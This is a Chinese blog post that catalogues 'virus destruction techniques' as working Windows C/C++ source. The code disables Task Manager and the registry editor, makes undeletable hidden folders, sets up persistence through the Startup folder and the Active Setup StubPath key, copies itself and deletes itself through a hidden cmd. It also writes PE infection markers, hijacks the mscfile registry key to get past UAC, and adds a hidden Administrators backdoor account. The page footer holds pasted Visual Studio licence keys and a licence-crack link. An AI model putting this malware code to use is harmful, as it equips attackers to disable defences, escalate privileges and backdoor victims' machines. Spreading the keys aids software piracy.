C/C++ 病毒破坏手法总结
针对注册表恶意修改:
#include <stdio.h>
#include <Windows.h>
// 禁用系统任务管理器
void RegTaskmanagerForbidden()
{
	HKEY hkey;
	DWORD value = 1;
	RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
	RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
	RegCloseKey(hkey);
}
// 禁用注册表编辑器
void RegEditForbidden()
{
	HKEY hkey;
	DWORD value = 1;
	RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
	RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
	RegCloseKey(hkey);
}
// 干掉桌面壁纸
void RegModifyBackroud()
{
	DWORD value = 1;
	HKEY hkey;
	RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
	RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3);
	RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
}
创建不可删除文件: 创建不可删除文件关键在于在子目录中创建一个\\anti...\\文件,该文件在系统中有特殊用途.
#include <stdio.h>
#include <shlobj.h>
#include <windows.h>
// 添加不可删除文件
BOOL SetImmunity(char *FilePath,char *FileName)
{
	char file[2048] = { 0 };
	strncpy(file, FilePath, strlen(FilePath));
	strcat(file, FileName);
	BOOL bRet = CreateDirectory(file, NULL);
	if (bRet)
	{
		// 创建无法删除的文件夹
		strcat(file, "\\anti...\\");
		bRet = CreateDirectory(file, NULL);
		if (bRet)
		{
			// 设置文件为隐藏属性
			SetFileAttributes(file, FILE_ATTRIBUTE_HIDDEN);
			return TRUE;
		}
	}
	return FALSE;
}
// 删除无法删除文件
void ClearImmunity(char *FilePath, char *FileName)
{
	char file[2048] = { 0 };
	strncpy(file, FilePath, strlen(FilePath));
	strcat(file, FileName);
	strcat(file, "\\anti...\\");
	RemoveDirectory(file);
	ZeroMemory(file, MAX_PATH);
	strncpy(file, FilePath, strlen(FilePath));
	strcat(file, FileName);
	RemoveDirectory(file);
}
int main(int argc, char * argv[])
{
	// 创建 autorun.inf 可免疫自动播放
	char *Fuck[4] = { "你", "好", "世", "界" };
	int FuckLen = sizeof(Fuck) / sizeof(int);
	TCHAR Destop[MAX_PATH];
	SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE);	 // 获取桌面绝对路径
	for (int x = 0; x < FuckLen; x++)
	{
		SetImmunity("c://", Fuck[x]);
		//ClearImmunity("c://", Fuck[x]);
	}
	system("pause");
	return 0;
}
通过快速启动项自启动:
#include <stdio.h>
#include <windows.h>
#include <Shlobj.h>
#pragma comment(lib, "shell32.lib")
BOOL AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName)
{
	char szStartupPath[MAX_PATH] = { 0 };
	char szDestFilePath[MAX_PATH] = { 0 };
	// 获取快速启动目录路径
	SHGetSpecialFolderPath(NULL, szStartupPath, CSIDL_STARTUP, TRUE);
	printf("快速启动路径: %s\n", szStartupPath);
	// 构造拷贝的目的文件路径
	wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName);
	// 拷贝文件到快速启动目录下
	CopyFile(lpszSrcFilePath, szDestFilePath, FALSE);
	return TRUE;
}
int main(int argc, char * argv[])
{
	AutoRun_Startup("c://main.exe", "main.exe");
	system("pause");
	return 0;
}
设置重启自删除:
#include <Windows.h>
BOOL RebootDelete(char *pszFileName)
{
	// 重启删除文件
	char szTemp[MAX_PATH] = "\\\\?\\";
	::lstrcat(szTemp, pszFileName);
	BOOL bRet = ::MoveFileEx(szTemp, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);
	return bRet;
}
int main(int argc, char * argv[])
{
	RebootDelete("C:\\shell.exe")
	system("pause");
	return 0;
}
实现病毒自我繁殖:
#include <stdio.h>
#include <Windows.h>
#include <shlobj.h>
#include <time.h>
void Reproduce()
{
	char name_str[100] = {};
	int name;
	srand((unsigned)time(NULL));   // 随机数种子
	name = rand() % 102408;
	_itoa(name, name_str, 22);	   // 将随机数转化成字符串
	TCHAR szpath[MAX_PATH];
	char target[100] = {};
	TCHAR Destop[MAX_PATH];
	GetModuleFileName(NULL, szpath, MAX_PATH);	                 // 获取当前执行程序的路径
	SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE);	 // 获取桌面绝对路径
	strcat(target, Destop);
	strcat(target, "\\");
	strcat(target, name_str);
	strcat(target, ".exe");
	CopyFile(szpath, target, FALSE);
}
int main(int argc, char* argv[])
{
	Reproduce();
	system("pause");
	return 0;
}
病毒的自删除手段:
#include <stdio.h>
#include <shlobj.h>
#include <windows.h>
BOOL SelfDel()
{
	SHELLEXECUTEINFO sei;
	TCHAR szModule[MAX_PATH], szComspec[MAX_PATH], szParams[MAX_PATH];
	if ((GetModuleFileName(0, szModule, MAX_PATH) != 0) &&
		(GetShortPathName(szModule, szModule, MAX_PATH) != 0) &&
		(GetEnvironmentVariable("COMSPEC", szComspec, MAX_PATH) != 0))
	{
		lstrcpy(szParams, "/c del ");
		lstrcat(szParams, szModule);
		lstrcat(szParams, " > nul");
		// 设置结构成员.
		sei.cbSize = sizeof(sei);
		sei.hwnd = 0;
		sei.lpVerb = "Open";
		sei.lpFile = szComspec;
		sei.lpParameters = szParams;
		sei.lpDirectory = 0; sei.nShow = SW_HIDE;
		sei.fMask = SEE_MASK_NOCLOSEPROCESS;
		// 创建cmd进程.
		if (ShellExecuteEx(&sei))
		{
			// 设置cmd进程的执行级别为空闲执行,使本程序有足够的时间从内存中退出.
			SetPriorityClass(sei.hProcess, IDLE_PRIORITY_CLASS);
			// 将自身进程的优先级置高
			SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
			SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
			// 通知Windows资源浏览器,本程序文件已经被删除.
			SHChangeNotify(SHCNE_DELETE, SHCNF_PATH, szModule, 0);
			return TRUE;
		}
	}
	return FALSE;
}
int main(int argc, char* argv[])
{
	SelfDel();
	return 0;
}
设置文件感染标志: PE文件中有很多字段并没有使用到,我们可以在内部写入参数,实现检查是否被感染.
#include <stdio.h>
#include <stddef.h>
#include <windows.h>
#define VIRUSFLAGS 0xCCCC
// 向指定文件写入感染标志
BOOL WriteSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile)
{
	DWORD dwNum = 0;
	SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN);
	WriteFile(hFile, &dwSig, sizeof(DWORD), &dwNum, NULL);
	return TRUE;
}
// 检查文件是否被感染
BOOL CheckSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile)
{
	DWORD dwSigNum = 0;
	DWORD dwNum = 0;
	SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN);
	ReadFile(hFile, &dwSigNum, sizeof(DWORD), &dwNum, NULL);
	if (dwSigNum == dwSig)
		return TRUE;
	return FALSE;
}
int main(int argc, char* argv[])
{
	HANDLE hFile,hMap = NULL;
	LPVOID lpBase = NULL;
	hFile = CreateFile("c://1.exe",GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
	hMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,0);
	lpBase = MapViewOfFile(hMap,FILE_MAP_READ | FILE_MAP_WRITE,0,0,0);
	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
	PIMAGE_NT_HEADERS pNtHeader = NULL;
	PIMAGE_SECTION_HEADER pSec = NULL;
	IMAGE_SECTION_HEADER imgSec = { 0 };
	if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
	{
		printf("文件非可执行文件 \n");
		return -1;
	}
	pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);
	// 写入感染标志
	WriteSig(offsetof(IMAGE_DOS_HEADER, e_cblp), VIRUSFLAGS, hFile);
	// 返回真说明感染过
	if (CheckSig(offsetof(IMAGE_DOS_HEADER, e_cblp), VIRUSFLAGS, hFile))
	{
		printf("文件已被感染,无法重复感染. \n");
	}
	system("pause");
	return 0;
}
关闭UAC权限控制:
#include <Windows.h>
BOOL SetReg(char *lpszExePath)
{
	HKEY hKey = NULL;
	// 创建项
	::RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Classes\\mscfile\\Shell\\Open\\Command",
		0, NULL, 0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &hKey, NULL);
	if (NULL == hKey)
	{
		return FALSE;
	}
	::RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE *)lpszExePath, (1 + ::lstrlen(lpszExePath)));
	::RegCloseKey(hKey);
	return TRUE;
}
int main(int argc,char *argv[])
{
	BOOL bRet = FALSE;
	PVOID OldValue = NULL;
	// 关闭文件重定位
	::Wow64DisableWow64FsRedirection(&OldValue);
	// 修改注册表
	bRet = SetReg("C:\\Windows\\System32\\cmd.exe");
	printf("已关闭 \n");
	// 恢复文件重定位
	::Wow64RevertWow64FsRedirection(OldValue);
	system("pause");
	return 0;
}
添加恶意后门账号:
#include <stdio.h>
#include <assert.h>
#include <windows.h>
#include <lm.h>
#pragma comment(lib,"netapi32")
// 添加系统用户
void AddUser(LPWSTR UserName, LPWSTR Password)
{
	USER_INFO_1 user;
	user.usri1_name = UserName;
	user.usri1_password = Password;
	user.usri1_priv = USER_PRIV_USER;
	user.usri1_home_dir = NULL;
	user.usri1_comment = NULL;
	user.usri1_flags = UF_SCRIPT;
	user.usri1_script_path = NULL;
	//添加名为lysharks的用户,密码为sswordQq123
	if (NetUserAdd(NULL, 1, (LPBYTE)&user, 0) == NERR_Success)
		printf("创建用户完成 \n");
	// 添加用户到administrators组
	LOCALGROUP_MEMBERS_INFO_3 account;
	account.lgrmi3_domainandname = user.usri1_name;
	if (NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1) == NERR_Success)
		printf("添加到组完成 \n");
}
// 枚举系统用户
void EnumUser()
{
	LPUSER_INFO_0 pBuf = NULL;
	LPUSER_INFO_0 pTmpBuf;
	DWORD dwLevel = 0;
	DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH;
	DWORD dwEntriesRead = 0, dwTotalEntries = 0, dwResumeHandle = 0;
	DWORD i;
	NET_API_STATUS nStatus;
	LPTSTR pszServerName = NULL;
	do
	{
		nStatus = NetUserEnum((LPCWSTR)pszServerName, dwLevel, FILTER_NORMAL_ACCOUNT,
			(LPBYTE*)&pBuf, dwPrefMaxLen, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle);
		if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA))
		{
			if ((pTmpBuf = pBuf) != NULL)
			{
				for (i = 0; (i < dwEntriesRead); i++)
				{
					assert(pTmpBuf != NULL);
					if (pTmpBuf == NULL)
					{
						break;
					}
					wprintf(L"%s\n", pTmpBuf->usri0_name, pTmpBuf);
					pTmpBuf++;
				}
			}
		}
		if (pBuf != NULL)
		{
			NetApiBufferFree(pBuf);
			pBuf = NULL;
		}
	} while (nStatus == ERROR_MORE_DATA);
	NetApiBufferFree(pBuf);
}
int main(int argc, char *argv[])
{
	AddUser(L"lyshark", L"123123");
	EnumUser();
	system("pause");
	return 0;
}
ActiveX 实现自启动:
#include <stdio.h>
#include <windows.h> 
//修改或创建字符串类型的键值
void CreateStringReg(HKEY hRoot, LPCWSTR szSubkey, LPCWSTR ValueName, LPCWSTR Data)
{
	// 创建新的注册表键
	HKEY hKey;
	long lRet = RegCreateKeyEx(hRoot, szSubkey, 0, NULL,
		REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
	if (ERROR_SUCCESS != lRet)
		return;
	//修改或创建注册表键值
	lRet = RegSetValueEx(hKey, ValueName, 0, REG_SZ, (BYTE*)Data, wcslen(Data) * 2);
	if (ERROR_SUCCESS != lRet)
		return;
	// 释放注册表键句柄
	RegCloseKey(hKey);
}
// 创建开机自启动进程
// 计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components
// 注册一条类似{84B421CD-B018-2513-B0B1-5C76DEF70F20}的子建,然后子键中新建StubPath的值项
void CreateAutoRun()
{
	HKEY hKey;
	DWORD dwDpt = REG_OPENED_EXISTING_KEY;
	// 清理一下
	RegDeleteKey(HKEY_CURRENT_USER,
		L"Software\\Microsoft\\Active Setup\\Installed Components\\{84B421CD-B018-2513-B0B1-5C76DEF70F20}");
	// 打开注册表键值
	long lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
		L"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{84B421CD-B018-2513-B0B1-5C76DEF70F20}",
		REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, &hKey);
	if (lRet != ERROR_SUCCESS)
	{
		WCHAR SelfFile[MAX_PATH];
		WCHAR SystemPath[MAX_PATH + 20];
		//获取系统目录
		GetSystemDirectory(SystemPath, sizeof(SystemPath));
		//在系统目录与\\activexrun.exe连接
		wcscat_s(SystemPath, L"\\main.exe");
		//获取当前进程路径
		GetModuleFileName(NULL, SelfFile, MAX_PATH);
		// main.exe复制到C:\windows\system32目录下
		CopyFile(SelfFile, SystemPath, FALSE);
		//写注册表
		CreateStringReg(HKEY_LOCAL_MACHINE,
			L"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{84B421CD-B018-2513-B0B1-5C76DEF70F20}",
			L"StubPath", SystemPath);
	}
}
int main(int argc, char *argv[])
{
	CreateAutoRun();
	system("pause");
	return 0;
}
												
											C/C++ 病毒破坏手法总结的更多相关文章
- 手动删除文件夹exe病毒并恢复原来文件夹
		
转自手动删除文件夹exe病毒并恢复原来文件夹 经常使用U盘.MP3.MP4等移动硬盘的大家,有时是不是会发现,移动硬盘里有现了exe文件,原来本来有一个文件夹的名字是 音乐 ,但后来发现 音乐 这个文 ...
 - Hacker(25)----病毒攻防之认识病毒
		
Internet中,计算机病毒是威胁计算机安全的程序.对于计算机病毒,用户不仅需要掌握其基础知识,还要认识常见的病毒及简单病毒制作方法.无论病毒基础还是制作简单病毒,用户需要掌握防御病毒的有效措施和专 ...
 - 一个简单的HTML病毒分析
		
一直就想写这篇东西了,仅仅是上班时说要上班,不写.回家后又忙着玩游戏,丢一边去了.如今仅仅好不务正业的开写了.希望头儿不会知道我的blog.哈哈 在非常久之前就对HTML的病毒非常感兴趣了,非常好奇怎 ...
 - Android敲诈者病毒“安卓性能激活”分析(2015年9月版)
		
一.情况简介 前几天分析了论坛里的一个Android敲诈者病毒,感觉还是很有收获,后面有空多研究研究Android病毒.说句题外话, 根据前面分析的Android敲诈者病毒的隐藏手法,应该可以实现&q ...
 - 给Source Insight做个外挂系列之二--将本地代码注入到Source Insight进程
		
上一篇文章介绍了如何发现正在运行的“Source Insight”窗口,本篇将介绍“TabSiPlus”是如何进行代码注入的.Windows 9x以后的Windows操作系统都对进程空间进行了严格的保 ...
 - 用DOS命令打开IE浏览器、我的文档等等
		
用DOS命令打开IE浏览器 在“start”-运行中直接输入网址就可以了.如输入百度: http://www.baidu.com Command:[ start http://www.baidu.c ...
 - 销傲销售过程GSP管理系统功能概述
		
1 公司介绍 西安海思威软件有限公司于2009年2月注册成立,海思威软件公司隶属于海思威集团,位于交通十分便利的西安经济技术开发区.公司致力于中国本土式销售管理的研究与管理软件产品的开发,是 ...
 - Windows7下出现“不支持此接口”的解决方案
		
今天学校里的辅导员突然找到我说Windows 7下什么文件夹都打不开了,提示“不支持此接口”.怀疑是病毒所致,但运行杀毒软件没有结果.重启也问题依旧. 上网查了之后找到了修复方法: 在命令行中输入fo ...
 - 解决蓝屏代吗0x0000007B的几种常见办法
		
解决蓝屏代吗0x0000007B的几种常见办法 0x0000007B 蓝屏代码的分析 ◆错误分析:Windows在启动过程中无法访问系统分区或启动卷. 网络上经过收集,主要有四种可能.第一是新 ...
 - Computer assembly and maintenance
		
转载请注明出处: 我所遇见的世界会更美好 第一章 计算机的基本构成和组装 1,内存的组成? (1) RAM(随机存取存储器) (2) ROM(只读存储器) (3) Cache(高速缓存) 2,S ...
 
随机推荐
- Visual Studio 2022 激活码
			
Pro: TD244-P4NB7-YQ6XK-Y8MMM-YWV2J Enterprise: VHF9H-NXBBB-638P6-6JHCY-88JWH Key 来自网络 备忘...
 - myeclipse过期问题
			
安装myeclipse后就会遇到过期问题.如下代码永久解决过期问题. import java.io.BufferedReader; import java.io.IOException; import ...
 - Go ASM 学习笔记之 ppt 版
			
在 小白学标准库之反射 reflect 篇中介绍了接口和反射.然而,对于接口的类型转换,底层实现还是一知半解.在参考 Go 语言设计与实现 这本书接口章节时,又看不大懂.一个拦路虎摆在面前:汇编.不懂 ...
 - Mysql 查询优化及索引优化总结
			
本文为博主原创,转载请注明出处: 一.Mysql 索引的优缺点: 优点:加快数据的检索速度,这是应用索引的主要用途: 使用唯一索引可以保证数据的唯一性 缺点: 索引也需要占用物理空间,并不是索引越多越 ...
 - wireshark 报文颜色
			
在使用wireshark抓包分析的过程中,默认会对不同的包进行着色,截图如下: 对不同的颜色有了解,可快速的过滤包或分析请求. 菜单栏选择视图-->着色规则,即可看到不同颜色代表的含义: 大致可 ...
 - 基于html5开发的Win12网页版,抢先体验
			
据 MSPoweruser 报道,Windows 11虽然刚刚开始步入正轨,但最新爆料称微软已经在开启下一个计划,Windows 12 的开发将在 去年3 月份开始.德国科技网站 Deskmodder ...
 - C++ 语法结构--堆
			
1.堆介绍 「堆 heap」是一种满足特定条件的完全二叉树,主要可分为图 8-1 所示的两种类型. 「大顶堆 max heap」:任意节点的值 其子节点的值. 「小顶堆 min heap」:任意节点的 ...
 - 精通 VS 调试技巧,学习与工作效率翻倍!
			
 欢迎大家来到贝蒂大讲堂  养成好习惯,先赞后看哦~  所属专栏:C语言学习  贝蒂的主页:Betty's blog  1. 什么是调试 当我们写代码时候常常会遇见输出结果不符合我们预期的情 ...
 - [转帖]Linux下非oracle用户如何使用系统认证方式登陆数据
			
https://www.cnblogs.com/kerrycode/p/17772866.html Linux系统中,DBA一般使用oracle用户登陆/访问Linux操作系统,然后使用sqlplus ...
 - [转帖]SQL SERVER DBCC命令详解
			
https://developer.aliyun.com/article/867768 简介: SQL数据库开发 DBCC DROPCLEANBUFFERS:从缓冲池中删除所有缓存,清除缓冲区 在 ...